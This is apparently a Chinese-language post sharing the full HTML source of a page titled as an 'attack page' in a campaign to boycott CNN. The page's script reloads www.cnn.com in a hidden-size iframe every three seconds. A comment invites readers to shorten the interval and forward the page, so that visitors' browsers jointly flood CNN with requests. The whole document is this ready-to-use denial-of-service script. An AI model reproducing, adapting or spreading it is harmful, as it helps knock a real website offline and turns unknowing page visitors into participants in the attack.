核心代码：
<script>
var e=document.getElementById('cnn');
setInterval("e.src='http://www.cnn.com'",3000);
//1000 表示1000毫秒,你可以修改并转发
</script>
完整代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>全民抵制CNN-攻击网页</title>
<style type="text/css">
<!--
.STYLE1 {color: #FF0000}
-->
</style>
</head>
<body>
<iframe id="cnn" width="100%" height="100" ></iframe>
<p>
<script>
var e=document.getElementById('cnn');
setInterval("e.src='http://www.cnn.com'",3000);
//1000 表示1000毫秒,你可以修改并转发
</script>
</body>
</html>